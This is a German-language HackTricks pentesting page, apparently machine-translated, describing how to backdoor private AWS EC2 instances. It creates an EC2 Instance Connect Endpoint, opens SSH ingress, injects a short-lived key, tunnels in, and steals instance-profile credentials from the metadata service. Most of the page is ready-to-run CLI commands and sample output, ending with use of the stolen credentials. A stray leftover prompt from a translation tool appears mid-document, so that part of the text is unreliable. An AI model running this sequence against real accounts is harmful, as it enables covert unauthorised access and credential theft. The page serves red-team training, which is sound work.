AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Missbrauche EC2 Instance Connect Endpoint (EIC Endpoint), um eingehenden SSH-Zugriff auf private EC2-Instanzen (ohne public IP/bastion) zu erlangen, indem du:

  • Erstellen eines EIC Endpoint innerhalb des Ziel-Subnetz
  • Eingehenden SSH auf der Ziel-SG vom EIC Endpoint SG erlauben
  • Injizieren eines kurzlebigen SSH Public Keys (gültig ~60 Sekunden) mit ec2-instance-connect:SendSSHPublicKey
  • Öffnen eines EIC-Tunnels und pivoting zur Instanz, um instance profile credentials aus IMDS zu stehlen

Impact: heimlicher Remote-Zugangspfad zu privaten EC2-Instanzen, der bastions und public IP-Einschränkungen umgeht. Der Angreifer kann das instance profile übernehmen und im Account agieren.

Voraussetzungen

  • Berechtigungen für:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Ziel-Linux-Instanz mit SSH-Server und EC2 Instance Connect aktiviert (Amazon Linux 2 oder Ubuntu 20.04+). Standardbenutzer: ec2-user (AL2) oder ubuntu (Ubuntu).

Variablen

bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

EIC Endpoint erstellen

bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Erlaube traffic vom EIC Endpoint an die target instance

bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Ephemeren SSH-Schlüssel injizieren und Tunnel öffnen

bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation Nachweis (steal instance profile credentials)

bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated. I will translate the English text to German and preserve all code, tags, links, paths and hacking/Cloud terms exactly as instructed.

json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Verwende die gestohlenen creds lokal, um die Identität zu verifizieren:

bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Bereinigung

bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Hinweise

  • Der injizierte SSH-Schlüssel ist nur etwa 60 Sekunden gültig; sende den Schlüssel unmittelbar bevor du den Tunnel/SSH öffnest.
  • OS_USER muss zur AMI passen (z. B. ubuntu für Ubuntu, ec2-user für Amazon Linux 2).

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks